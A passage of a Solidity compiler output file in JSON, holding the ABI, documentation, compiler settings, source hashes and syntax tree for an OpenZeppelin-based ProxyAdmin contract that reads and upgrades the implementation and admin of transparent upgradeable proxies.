TransparentUpgradeableProxy","name":"proxy","type":"address"}],"stateMutability":"view","type":"function","name":"getProxyAdmin","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"contract TransparentUpgradeableProxy","name":"proxy","type":"address"}],"stateMutability":"view","type":"function","name":"getProxyImplementation","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"contract TransparentUpgradeableProxy","name":"proxy","type":"address"},{"internalType":"address","name":"implementation","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"upgrade"},{"inputs":[{"internalType":"contract TransparentUpgradeableProxy","name":"proxy","type":"address"},{"internalType":"address","name":"implementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"upgradeAndCall"}],"devdoc":{"kind":"dev","methods":{"changeProxyAdmin(address,address)":{"details":"Changes the admin of `proxy` to `newAdmin`. Requirements: - This contract must be the current admin of `proxy`."},"getProxyAdmin(address)":{"details":"Returns the current admin of `proxy`. Requirements: - This contract must be the admin of `proxy`."},"getProxyImplementation(address)":{"details":"Returns the current implementation of `proxy`. Requirements: - This contract must be the admin of `proxy`."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."},"upgrade(address,address)":{"details":"Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}. Requirements: - This contract must be the admin of `proxy`."},"upgradeAndCall(address,address,bytes)":{"details":"Upgrades `proxy` to `implementation` and calls a function on the new implementation. See {TransparentUpgradeableProxy-upgradeToAndCall}. Requirements: - This contract must be the admin of `proxy`."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/proxy/ProxyAdmin.sol":"ProxyAdmin"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"src/proxy/ProxyAdmin.sol":{"keccak256":"0xa63000632ca5f6322238d4cb1c7376886cb23a7757b9f4fd426ace8b3f51fc8f","urls":["bzz-raw://8bcfe5327e21880e4e733fbfdce40f59dfbface1fd9723ea00108786640b6651","dweb:/ipfs/QmcGWZxG6yW5CKsZRcADWvSLYDcF8jUuDQBLixJ6YroKoC"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/proxy/ProxyAdmin.sol","id":58004,"exportedSymbols":{"Address":[48259],"Context":[48281],"ERC1967Proxy":[46747],"ERC1967Upgrade":[47065],"IBeacon":[47127],"IERC1822Proxiable":[46710],"Ownable":[46700],"Proxy":[47117],"ProxyAdmin":[58003],"StorageSlot":[48341],"TransparentUpgradeableProxy":[47275]},"nodeType":"SourceUnit","src":"101:2807:118","nodes":[{"id":57869,"nodeType":"PragmaDirective","src":"101:23:118","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":57870,"nodeType":"ImportDirective","src":"126:85:118","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol","file":"openzeppelin-contracts-08/proxy/transparent/TransparentUpgradeableProxy.sol","nameLocation":"-1:-1:-1","scope":58004,"sourceUnit":47276,"symbolAliases":[],"unitAlias":""},{"id":57871,"nodeType":"ImportDirective","src":"212:54:118","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":58004,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":58003,"nodeType":"ContractDefinition","src":"497:2410:118","nodes":[{"id":57908,"nodeType":"FunctionDefinition","src":"697:437:118","nodes":[],"body":{"id":57907,"nodeType":"Block","src":"802:332:118","nodes":[],"statements":[{"assignments":[57884,57886],"declarations":[{"constant":false,"id":57884,"mutability":"mutable","name":"success","nameLocation":"975:7:118","nodeType":"VariableDeclaration","scope":57907,"src":"970:12:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":57883,"name":"bool","nodeType":"ElementaryTypeName","src":"970:4:118","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":57886,"mutability":"mutable","name":"returndata","nameLocation":"997:10:118","nodeType":"VariableDeclaration","scope":57907,"src":"984:23:118","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":57885,"name":"bytes","nodeType":"ElementaryTypeName","src":"984:5:118","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":57894,"initialValue":{"arguments":[{"hexValue":"5c60da1b","id":57892,"isConstant":false,"isLValue":false,"isPure":true,"kind":"hexString","lValueRequested":false,"nodeType":"Literal","src":"1037:13:118","typeDescriptions":{"typeIdentifier":"t_stringliteral_96a4c6be7716f5be15d118c16bd1d464cb27f01187d0b9218993a5d488a47c29","typeString":"literal_string hex\"5c60da1b\""}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_96a4c6be7716f5be15d118c16bd1d464cb27f01187d0b9218993a5d488a47c29","typeString":"literal_string hex\"5c60da1b\""}],"expression":{"arguments":[{"id":57889,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57878,"src":"1019:5:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}],"id":57888,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1011:7:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57887,"name":"address","nodeType":"ElementaryTypeName","src":"1011:7:118","typeDescriptions":{}}},"id":57890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1011:14:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1026:10:118","memberName":"staticcall","nodeType":"MemberAccess","src":"1011:25:118","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":57893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1011:40:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"969:82:118"},{"expression":{"arguments":[{"id":57896,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57884,"src":"1069:7:118","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":57895,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1061:7:118","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":57897,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1061:16:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57898,"nodeType":"ExpressionStatement","src":"1061:16:118"},{"expression":{"arguments":[{"id":57901,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57886,"src":"1105:10:118","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":57903,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1118:7:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57902,"name":"address","nodeType":"ElementaryTypeName","src":"1118:7:118","typeDescriptions":{}}}],"id":57904,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1117:9:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":57899,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1094:3:118","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":57900,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1098:6:118","memberName":"decode","nodeType":"MemberAccess","src":"1094:10:118","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":57905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:33:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":57882,"id":57906,"nodeType":"Return","src":"1087:40:118"}]},"documentation":{"id":57875,"nodeType":"StructuredDocumentation","src":"534:158:118","text":" @dev Returns the current implementation of `proxy`.\n Requirements:\n - This contract must be the admin of `proxy`."},"functionSelector":"204e1c7a","implemented":true,"kind":"function","modifiers":[],"name":"getProxyImplementation","nameLocation":"706:22:118","parameters":{"id":57879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57878,"mutability":"mutable","name":"proxy","nameLocation":"757:5:118","nodeType":"VariableDeclaration","scope":57908,"src":"729:33:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"},"typeName":{"id":57877,"nodeType":"UserDefinedTypeName","pathNode":{"id":57876,"name":"TransparentUpgradeableProxy","nameLocations":["729:27:118"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"729:27:118"},"referencedDeclaration":47275,"src":"729:27:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"visibility":"internal"}],"src":"728:35:118"},"returnParameters":{"id":57882,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57881,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57908,"src":"793:7:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57880,"name":"address","nodeType":"ElementaryTypeName","src":"793:7:118","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"792:9:118"},"scope":58003,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":57942,"nodeType":"FunctionDefinition","src":"1294:419:118","nodes":[],"body":{"id":57941,"nodeType":"Block","src":"1390:323:118","nodes":[],"statements":[{"assignments":[57918,57920],"declarations":[{"constant":false,"id":57918,"mutability":"mutable","name":"success","nameLocation":"1554:7:118","nodeType":"VariableDeclaration","scope":57941,"src":"1549:12:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":57917,"name":"bool","nodeType":"ElementaryTypeName","src":"1549:4:118","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":57920,"mutability":"mutable","name":"returndata","nameLocation":"1576:10:118","nodeType":"VariableDeclaration","scope":57941,"src":"1563:23:118","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":57919,"name":"bytes","nodeType":"ElementaryTypeName","src":"1563:5:118","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":57928,"initialValue":{"arguments":[{"hexValue":"f851a440","id":57926,"isConstant":false,"isLValue":false,"isPure":true,"kind":"hexString","lValueRequested":false,"nodeType":"Literal","src":"1616:13:118","typeDescriptions":{"typeIdentifier":"t_stringliteral_cb23cf6c353ccb16f0d92c8e6b5c5b425654e65dd07e2d295b394de4cf15afb7","typeString":"literal_string hex\"f851a440\""}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cb23cf6c353ccb16f0d92c8e6b5c5b425654e65dd07e2d295b394de4cf15afb7","typeString":"literal_string hex\"f851a440\""}],"expression":{"arguments":[{"id":57923,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57912,"src":"1598:5:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}],"id":57922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1590:7:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57921,"name":"address","nodeType":"ElementaryTypeName","src":"1590:7:118","typeDescriptions":{}}},"id":57924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:14:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57925,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1605:10:118","memberName":"staticcall","nodeType":"MemberAccess","src":"1590:25:118","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":57927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1590:40:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1548:82:118"},{"expression":{"arguments":[{"id":57930,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57918,"src":"1648:7:118","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":57929,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1640:7:118","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":57931,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1640:16:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57932,"nodeType":"ExpressionStatement","src":"1640:16:118"},{"expression":{"arguments":[{"id":57935,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57920,"src":"1684:10:118","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":57937,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1697:7:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57936,"name":"address","nodeType":"ElementaryTypeName","src":"1697:7:118","typeDescriptions":{}}}],"id":57938,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1696:9:118","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":57933,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1673:3:118","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":57934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1677:6:118","memberName":"decode","nodeType":"MemberAccess","src":"1673:10:118","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":57939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1673:33:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":57916,"id":57940,"nodeType":"Return","src":"1666:40:118"}]},"documentation":{"id":57909,"nodeType":"StructuredDocumentation","src":"1140:149:118","text":" @dev Returns the current admin of `proxy`.\n Requirements:\n - This contract must be the admin of `proxy`."},"functionSelector":"f3b7dead","implemented":true,"kind":"function","modifiers":[],"name":"getProxyAdmin","nameLocation":"1303:13:118","parameters":{"id":57913,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57912,"mutability":"mutable","name":"proxy","nameLocation":"1345:5:118","nodeType":"VariableDeclaration","scope":57942,"src":"1317:33:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"},"typeName":{"id":57911,"nodeType":"UserDefinedTypeName","pathNode":{"id":57910,"name":"TransparentUpgradeableProxy","nameLocations":["1317:27:118"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"1317:27:118"},"referencedDeclaration":47275,"src":"1317:27:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"visibility":"internal"}],"src":"1316:35:118"},"returnParameters":{"id":57916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57915,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57942,"src":"1381:7:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57914,"name":"address","nodeType":"ElementaryTypeName","src":"1381:7:118","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1380:9:118"},"scope":58003,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":57960,"nodeType":"FunctionDefinition","src":"1887:148:118","nodes":[],"body":{"id":57959,"nodeType":"Block","src":"1991:44:118","nodes":[],"statements":[{"expression":{"arguments":[{"id":57956,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57948,"src":"2019:8:118","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":57953,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57946,"src":"2001:5:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"id":57955,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2007:11:118","memberName":"changeAdmin","nodeType":"MemberAccess","referencedDeclaration":47209,"src":"2001:17:118","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":57957,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2001:27:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57958,"nodeType":"ExpressionStatement","src":"2001:27:118"}]},"documentation":{"id":57943,"nodeType":"StructuredDocumentation","src":"1719:163:118","text":" @dev Changes the admin of `proxy` to `newAdmin`.\n Requirements:\n - This contract must be the current admin of `proxy`."},"functionSelector":"7eff275e","implemented":true,"kind":"function","modifiers":[{"id":57951,"kind":"modifierInvocation","modifierName":{"id":57950,"name":"onlyOwner","nameLocations":["1981:9:118"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1981:9:118"},"nodeType":"ModifierInvocation","src":"1981:9:118"}],"name":"changeProxyAdmin","nameLocation":"1896:16:118","parameters":{"id":57949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57946,"mutability":"mutable","name":"proxy","nameLocation":"1941:5:118","nodeType":"VariableDeclaration","scope":57960,"src":"1913:33:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"},"typeName":{"id":57945,"nodeType":"UserDefinedTypeName","pathNode":{"id":57944,"name":"TransparentUpgradeableProxy","nameLocations":["1913:27:118"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"1913:27:118"},"referencedDeclaration":47275,"src":"1913:27:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"visibility":"internal"},{"constant":false,"id":57948,"mutability":"mutable","name":"newAdmin","nameLocation":"1956:8:118","nodeType":"VariableDeclaration","scope":57960,"src":"1948:16:118","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57947,"name":"address","nodeType":"ElementaryTypeName","src":"1948:7:118","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1912:53:118"},"returnParameters":{"id":57952,"nodeType":"ParameterList","parameters":[],"src":"1991:0:118"},"scope":58003,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":57978,"nodeType":"FunctionDefinition","src":"2240:149:118","nodes":[],"body":{"id":57977,"nodeType":"Block","src":"2341:48:118","nodes":[],"statements":[{"expression":{"arguments":[{"id":57974,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57966,"src":"2367:14:118","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":57971,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57964,"src":"2351:5:118","typeDescriptions":{"typeIdentifier":"t_contract$_TransparentUpgradeableProxy_$47275","typeString":"contract TransparentUpgradeableProxy"}},"id":57973,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2357:9:118","memberName":"upgradeTo","nodeType":"MemberAccess","referencedDeclaration":47227,"src":"2351:15:118","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":57975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2351:31:118","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57976,"nodeType":"ExpressionStatement","src":"2351:31:118"}]},"documentation":{"id":57961,"nodeType":"StructuredDocumentation","src":"2041:194:118","text":" @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.\n Requirements:\n - This contract must be the admin of 